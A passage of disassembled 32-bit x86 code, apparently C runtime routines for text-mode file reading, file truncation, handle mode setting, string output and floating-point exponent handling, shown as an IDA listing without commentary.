		add	edi, eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 80h
		jz	loc_40CBB3
		cmp	[ebp+var_4], 0
		jz	short loc_40C9ED
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_40C9ED
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	4
		jmp	short loc_40CA08
; ---------------------------------------------------------------------------


loc_40C9ED:				; CODE XREF: sub_40C890+136j
					; sub_40C890+13Ej
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FBh


loc_40CA08:				; CODE XREF: sub_40C890+15Bj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	esi, eax
		jmp	loc_40CB9C
; ---------------------------------------------------------------------------


loc_40CA15:				; CODE XREF: sub_40C890+313j
		cmp	byte ptr [esi],	1Ah
		jnz	short loc_40CA59
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 40h
		jnz	loc_40CBA9
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	2
		jmp	loc_40CBA9
; ---------------------------------------------------------------------------


loc_40CA59:				; CODE XREF: sub_40C890+188j
		cmp	byte ptr [esi],	0Dh
		jz	short loc_40CA73
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_40CB9C
; ---------------------------------------------------------------------------


loc_40CA73:				; CODE XREF: sub_40C890+1CCj
		mov	eax, [ebp+arg_4]
		lea	eax, [eax+edi-1]
		cmp	esi, eax
		jnb	short loc_40CAAD
		cmp	byte ptr [esi+1], 0Ah
		jnz	short loc_40CA98
		add	esi, 2
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	loc_40CB9C
; ---------------------------------------------------------------------------


loc_40CA98:				; CODE XREF: sub_40C890+1F2j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_40CB9C
; ---------------------------------------------------------------------------


loc_40CAAD:				; CODE XREF: sub_40C890+1ECj
		inc	esi
		mov	[ebp+var_10], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		lea	eax, [ebp+var_11]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E18	; ReadFile
		test	eax, eax
		jnz	short loc_40CAEC
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax


loc_40CAEC:				; CODE XREF: sub_40C890+251j
		cmp	[ebp+var_10], 0
		jnz	short loc_40CAF8
		cmp	[ebp+var_4], 0
		jnz	short loc_40CB09


loc_40CAF8:				; CODE XREF: sub_40C890+260j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		jmp	loc_40CB9C
; ---------------------------------------------------------------------------


loc_40CB09:				; CODE XREF: sub_40C890+266j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 48h
		jz	short loc_40CB61
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_40CB38
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_40CB9C
; ---------------------------------------------------------------------------


loc_40CB38:				; CODE XREF: sub_40C890+298j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	cl, [ebp+var_11]
		mov	[edx+eax+5], cl
		jmp	short loc_40CB9C
; ---------------------------------------------------------------------------


loc_40CB61:				; CODE XREF: sub_40C890+292j
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_8]
		jnz	short loc_40CB7D
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_40CB7D
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_40CB9C
; ---------------------------------------------------------------------------


loc_40CB7D:				; CODE XREF: sub_40C890+2D7j
					; sub_40C890+2DDj
		push	1
		push	0FFFFFFFFh
		push	ebx
		call	sub_40BDF0
		add	esp, 0Ch
		cmp	[ebp+var_11], 0Ah
		jz	short loc_40CB9C
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh


loc_40CB9C:				; CODE XREF: sub_40C890+180j
					; sub_40C890+1DEj ...
		mov	eax, [ebp+arg_4]
		add	eax, edi
		cmp	esi, eax
		jb	loc_40CA15


loc_40CBA9:				; CODE XREF: sub_40C890+1A3j
					; sub_40C890+1C4j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	edi, eax


loc_40CBB3:				; CODE XREF: sub_40C890+12Cj
		mov	eax, edi


loc_40CBB5:				; CODE XREF: sub_40C890+37j
					; sub_40C890+EAj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C890	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A88
		jnb	short loc_40CBEB
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40CBFB


loc_40CBEB:				; CODE XREF: DMN0:0040CBCEj
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CC1E
; ---------------------------------------------------------------------------


loc_40CBFB:				; CODE XREF: DMN0:0040CBE9j
		push	ebx
		call	sub_40AC80
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_40C890
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_40ACE0
		pop	ecx
		mov	eax, esi


loc_40CC1E:				; CODE XREF: DMN0:0040CBF9j
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_40CDA0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC50	proc near		; CODE XREF: sub_40B8E0+35Fp
					; sub_40CDA0+46p

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1014h
		call	sub_407730
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], 0
		push	1
		push	0
		push	ebx
		call	sub_40BDF0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CC94
		push	2
		push	0
		push	ebx
		call	sub_40BDF0
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CC9C


loc_40CC94:				; CODE XREF: sub_40CC50+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_40CD90
; ---------------------------------------------------------------------------


loc_40CC9C:				; CODE XREF: sub_40CC50+42j
		mov	eax, [ebp+arg_4]
		mov	esi, eax
		sub	esi, [ebp+var_8]
		test	esi, esi
		jle	loc_40CD41
		lea	edx, [ebp+var_1010]
		mov	ecx, 1000h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		push	8000h
		push	ebx
		call	sub_40D1E0
		add	esp, 8
		mov	[ebp+var_10], eax


loc_40CCD2:				; CODE XREF: sub_40CC50+E0j
		cmp	esi, 1000h
		jb	short loc_40CCE6
		mov	[ebp+var_1014],	1000h
		jmp	short loc_40CCEE
; ---------------------------------------------------------------------------


loc_40CCE6:				; CODE XREF: sub_40CC50+88j
		mov	eax, esi
		mov	[ebp+var_1014],	eax


loc_40CCEE:				; CODE XREF: sub_40CC50+94j
		mov	eax, [ebp+var_1014]
		push	eax
		lea	eax, [ebp+var_1010]
		push	eax
		push	ebx
		call	sub_40A670
		add	esp, 0Ch
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CD28
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	short loc_40CD22
		call	sub_4083A0
		mov	dword ptr [eax], 0Dh


loc_40CD22:				; CODE XREF: sub_40CC50+C5j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40CD32
; ---------------------------------------------------------------------------


loc_40CD28:				; CODE XREF: sub_40CC50+BAj
		mov	eax, esi
		sub	eax, edi
		mov	esi, eax
		test	eax, eax
		jg	short loc_40CCD2


loc_40CD32:				; CODE XREF: sub_40CC50+D6j
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_40D1E0
		add	esp, 8
		jmp	short loc_40CD7E
; ---------------------------------------------------------------------------


loc_40CD41:				; CODE XREF: sub_40CC50+56j
		test	esi, esi
		jge	short loc_40CD7E
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_40BDF0
		add	esp, 0Ch
		push	ebx
		call	sub_40AB60
		pop	ecx
		push	eax
		call	dword_411E1C	; SetEndOfFile
		test	eax, eax
		setnz	al
		and	eax, 1
		dec	eax
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CD7E
		call	sub_4083A0
		mov	dword ptr [eax], 0Dh


loc_40CD7E:				; CODE XREF: sub_40CC50+EFj
					; sub_40CC50+F3j ...
		push	0
		mov	eax, [ebp+var_C]
		push	eax
		push	ebx
		call	sub_40BDF0
		add	esp, 0Ch
		mov	eax, [ebp+var_4]


loc_40CD90:				; CODE XREF: sub_40CC50+47j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40CC50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CDA0	proc near		; CODE XREF: DMN0:0040CC3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_40CDC9
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40CDD9


loc_40CDC9:				; CODE XREF: sub_40CDA0+Cj
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CDF9
; ---------------------------------------------------------------------------


loc_40CDD9:				; CODE XREF: sub_40CDA0+27j
		push	ebx
		call	sub_40AC80
		pop	ecx
		mov	eax, [esp+8+arg_4]
		push	eax
		push	ebx
		call	sub_40CC50
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_40ACE0
		pop	ecx
		mov	eax, esi


loc_40CDF9:				; CODE XREF: sub_40CDA0+37j
		pop	esi
		pop	ebx
		retn
sub_40CDA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE00	proc near		; CODE XREF: sub_40BCC0+EFp
					; sub_40BCC0+100p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		jmp	loc_40CEBD
; ---------------------------------------------------------------------------


loc_40CE14:				; CODE XREF: sub_40CE00+C0j
		mov	eax, [esi+18h]
		cmp	eax, [esi+10h]
		ja	short loc_40CE2F
		push	esi
		call	sub_408EA0
		pop	ecx
		test	eax, eax
		jge	short loc_40CE2F
		or	eax, 0FFFFFFFFh
		jmp	loc_40CEDF
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_40CE00+1Aj
					; sub_40CE00+25j
		test	word ptr [esi],	400h
		jz	short loc_40CE46
		push	0Ah
		push	ebx
		call	sub_40D2F0
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_40CE4D
; ---------------------------------------------------------------------------


loc_40CE46:				; CODE XREF: sub_40CE00+34j
		mov	[ebp+var_C], 0


loc_40CE4D:				; CODE XREF: sub_40CE00+44j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_40CE62
		mov	eax, [ebp+var_4]
		sub	eax, ebx
		inc	eax
		mov	[ebp+var_10], eax
		jmp	short loc_40CE71
; ---------------------------------------------------------------------------


loc_40CE62:				; CODE XREF: sub_40CE00+55j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_40CE67:				; CODE XREF: sub_40CE00+6Cj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_40CE67
		mov	[ebp+var_10], eax


loc_40CE71:				; CODE XREF: sub_40CE00+60j
		mov	edi, [ebp+var_10]
		mov	eax, [esi+18h]
		mov	edx, [esi+10h]
		sub	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], edi
		jnb	short loc_40CE8E
		mov	[ebp+var_4], 0
		mov	edi, [ebp+var_8]


loc_40CE8E:				; CODE XREF: sub_40CE00+82j
		push	edi
		push	ebx
		mov	eax, [esi+10h]
		push	eax
		call	sub_407630
		add	esp, 0Ch
		add	ebx, edi
		lea	eax, [esi+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_4], 0
		jz	short loc_40CEBD
		push	esi
		call	sub_408CA0
		pop	ecx
		test	eax, eax
		jz	short loc_40CEBD
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CEDF
; ---------------------------------------------------------------------------


loc_40CEBD:				; CODE XREF: sub_40CE00+Fj
					; sub_40CE00+ABj ...
		cmp	byte ptr [ebx],	0
		jnz	loc_40CE14
		test	word ptr [esi],	800h
		jz	short loc_40CEDD
		push	esi
		call	sub_408CA0
		pop	ecx
		test	eax, eax
		jz	short loc_40CEDD
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CEDF
; ---------------------------------------------------------------------------


loc_40CEDD:				; CODE XREF: sub_40CE00+CBj
					; sub_40CE00+D6j
		xor	eax, eax


loc_40CEDF:				; CODE XREF: sub_40CE00+2Aj
					; sub_40CE00+BBj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40CE00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CEF0	proc near		; CODE XREF: sub_40C310+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_4]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_40CF46
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_40CF32
		cmp	word ptr [ebx+4], 0
		jnz	short loc_40CF32
		cmp	word ptr [ebx+2], 0
		jnz	short loc_40CF32
		cmp	word ptr [ebx],	0
		jz	short loc_40CF39


loc_40CF32:				; CODE XREF: sub_40CEF0+2Cj
					; sub_40CEF0+33j ...
		mov	edi, 2
		jmp	short loc_40CF3E
; ---------------------------------------------------------------------------


loc_40CF39:				; CODE XREF: sub_40CEF0+40j
		mov	edi, 1


loc_40CF3E:				; CODE XREF: sub_40CEF0+47j
		mov	ax, di
		movsx	eax, ax
		jmp	short loc_40CF8A
; ---------------------------------------------------------------------------


loc_40CF46:				; CODE XREF: sub_40CEF0+1Bj
		test	si, si
		jg	short loc_40CF5A
		push	ebx
		call	sub_40D310
		pop	ecx
		mov	si, ax
		test	ax, ax
		jg	short loc_40CF7F


loc_40CF5A:				; CODE XREF: sub_40CEF0+59j
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		or	eax, 3FE0h
		mov	[ebx+6], ax
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, si
		sub	ax, 3FEh
		mov	[edx], ax
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CF8A
; ---------------------------------------------------------------------------


loc_40CF7F:				; CODE XREF: sub_40CEF0+68j
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		xor	eax, eax


loc_40CF8A:				; CODE XREF: sub_40CEF0+54j
					; sub_40CEF0+8Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF90	proc near		; CODE XREF: sub_40C330+Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_40CFE5
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_40CFCE
		cmp	word ptr [ebx+4], 0
		jnz	short loc_40CFCE
		cmp	word ptr [ebx+2], 0
		jnz	short loc_40CFCE
		cmp	word ptr [ebx],	0
		jz	short loc_40CFD5


loc_40CFCE:				; CODE XREF: sub_40CF90+28j
					; sub_40CF90+2Fj ...
		mov	edi, 2
		jmp	short loc_40CFDA
; ---------------------------------------------------------------------------


loc_40CFD5:				; CODE XREF: sub_40CF90+3Cj
		mov	edi, 1


loc_40CFDA:				; CODE XREF: sub_40CF90+43j
		mov	ax, di
		movsx	eax, ax
		jmp	loc_40D19A
; ---------------------------------------------------------------------------


loc_40CFE5:				; CODE XREF: sub_40CF90+20j
		test	si, si
		jnz	short loc_40D000
		push	ebx
		call	sub_40D310
		pop	ecx
		mov	si, ax
		test	ax, ax
		jle	short loc_40D000
		xor	eax, eax
		jmp	loc_40D19A
; ---------------------------------------------------------------------------


loc_40D000:				; CODE XREF: sub_40CF90+58j
					; sub_40CF90+67j
		movsx	eax, si
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+arg_4], eax
		cmp	eax, 7FFh
		jl	short loc_40D042
		test	word ptr [ebx+6], 8000h
		jz	short loc_40D027
		fld	dbl_4119DC
		fchs
		fstp	[ebp+var_8]
		jmp	short loc_40D030
; ---------------------------------------------------------------------------


loc_40D027:				; CODE XREF: sub_40CF90+88j
		fld	dbl_4119DC
		fstp	[ebp+var_8]


loc_40D030:				; CODE XREF: sub_40CF90+95j
		mov	eax, [ebp+arg_0]
		fld	[ebp+var_8]
		fstp	qword ptr [eax]
		mov	eax, 1
		jmp	loc_40D19A
; ---------------------------------------------------------------------------


loc_40D042:				; CODE XREF: sub_40CF90+80j
		cmp	[ebp+arg_4], 0
		jle	short loc_40D068
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		mov	edx, [ebp+arg_4]
		movsx	edx, dx
		shl	edx, 4
		or	eax, edx
		mov	[ebx+6], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_40D19A
; ---------------------------------------------------------------------------


loc_40D068:				; CODE XREF: sub_40CF90+B6j
		mov	ax, [ebx+6]
		and	ax, 8000h
		mov	word ptr [ebp+var_8+6],	ax
		movzx	eax, word ptr [ebx+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	[ebx+6], ax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		cmp	eax, 0FFFFFFCCh
		jge	short loc_40D0AE
		mov	ax, word ptr [ebp+var_8+6]
		mov	[ebx+6], ax
		mov	word ptr [ebx+4], 0
		mov	word ptr [ebx+2], 0
		mov	word ptr [ebx],	0
		xor	eax, eax
		jmp	loc_40D19A
; ---------------------------------------------------------------------------


loc_40D0AE:				; CODE XREF: sub_40CF90+FCj
		mov	eax, [ebp+arg_4]
		mov	word ptr [ebp+var_8+4],	ax
		jmp	short loc_40D0D9
; ---------------------------------------------------------------------------


loc_40D0B7:				; CODE XREF: sub_40CF90+14Ej
		mov	ax, [ebx+2]
		mov	[ebx], ax
		mov	ax, [ebx+4]
		mov	[ebx+2], ax
		mov	ax, [ebx+6]
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		add	word ptr [ebp+var_8+4],	10h


loc_40D0D9:				; CODE XREF: sub_40CF90+125j
		cmp	word ptr [ebp+var_8+4],	0FFF0h
		jle	short loc_40D0B7
		movsx	eax, word ptr [ebp+var_8+4]
		neg	eax
		mov	word ptr [ebp+var_8+4],	ax
		test	ax, ax
		jz	loc_40D18F
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx]
		mov	ecx, eax
		sar	edx, cl
		mov	dword ptr [ebp+var_8], edx
		movzx	ecx, word ptr [ebx+2]
		mov	[ebp+var_C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_C]
		shl	eax, cl
		mov	edx, dword ptr [ebp+var_8]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+2]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_10], edx
		movzx	ecx, word ptr [ebx+4]
		mov	[ebp+var_14], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_14]
		shl	eax, cl
		mov	edx, [ebp+var_10]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+2], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+4]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_18], edx
		movzx	ecx, word ptr [ebx+6]
		mov	[ebp+var_1C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_1C]
		shl	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+4], ax
		movzx	eax, word ptr [ebx+6]
		movsx	ecx, word ptr [ebp+var_8+4]
		sar	eax, cl
		mov	[ebx+6], ax


loc_40D18F:				; CODE XREF: sub_40CF90+15Dj
		mov	ax, word ptr [ebp+var_8+6]
		or	[ebx+6], ax
		or	eax, 0FFFFFFFFh


loc_40D19A:				; CODE XREF: sub_40CF90+50j
					; sub_40CF90+6Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40CF90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1B0	proc near		; CODE XREF: sub_40C3B0+409p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40D1B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D1E0	proc near		; CODE XREF: sub_40CC50+77p
					; sub_40CC50+E7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		movzx	eax, byte ptr [edx+eax+4]
		mov	esi, eax
		and	esi, 80h
		cmp	[esp+8+arg_4], 8000h
		jnz	short loc_40D236
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		movzx	edx, byte ptr [eax]
		and	edx, 0FFFFFF7Fh
		mov	[eax], dl
		jmp	short loc_40D26D
; ---------------------------------------------------------------------------


loc_40D236:				; CODE XREF: sub_40D1E0+2Fj
		cmp	[esp+8+arg_4], 4000h
		jnz	short loc_40D25D
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	80h
		jmp	short loc_40D26D
; ---------------------------------------------------------------------------


loc_40D25D:				; CODE XREF: sub_40D1E0+5Ej
		call	sub_4083A0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D280
; ---------------------------------------------------------------------------


loc_40D26D:				; CODE XREF: sub_40D1E0+54j
					; sub_40D1E0+7Bj
		test	esi, esi
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 4000h


loc_40D280:				; CODE XREF: sub_40D1E0+8Bj
		pop	esi
		pop	ebx
		retn
sub_40D1E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		cmp	ebx, dword_413A88
		jnb	short loc_40D2B9
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40D2C9


loc_40D2B9:				; CODE XREF: DMN0:0040D29Cj
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D2E9
; ---------------------------------------------------------------------------


loc_40D2C9:				; CODE XREF: DMN0:0040D2B7j
		push	ebx
		call	sub_40AC80
		pop	ecx
		mov	eax, [esp+10h]
		push	eax
		push	ebx
		call	sub_40D1E0
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_40ACE0
		pop	ecx
		mov	eax, esi


loc_40D2E9:				; CODE XREF: DMN0:0040D2C7j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D2F0	proc near		; CODE XREF: sub_40CE00+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		xor	edx, edx


loc_40D2FD:				; CODE XREF: sub_40D2F0+19j
		cmp	[ecx], bl
		jnz	short loc_40D303
		mov	edx, ecx


loc_40D303:				; CODE XREF: sub_40D2F0+Fj
		cmp	byte ptr [ecx],	0
		jz	short loc_40D30B
		inc	ecx
		jmp	short loc_40D2FD
; ---------------------------------------------------------------------------


loc_40D30B:				; CODE XREF: sub_40D2F0+16j
		mov	eax, edx
		pop	ebx
		retn
sub_40D2F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D310	proc near		; CODE XREF: sub_40CEF0+5Cp
					; sub_40CF90+5Bp

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ax, [ecx+6]
		mov	di, ax
		and	di, 8000h
		mov	bx, 1
		mov	ax, [ecx+6]
		and	ax, 0Fh
		mov	[ecx+6], ax
		test	ax, ax
		jnz	short loc_40D34F
		cmp	word ptr [ecx+4], 0
		jnz	short loc_40D34F
		cmp	word ptr [ecx+2], 0
		jnz	short loc_40D34F
		cmp	word ptr [ecx],	0
		jz	loc_40D409


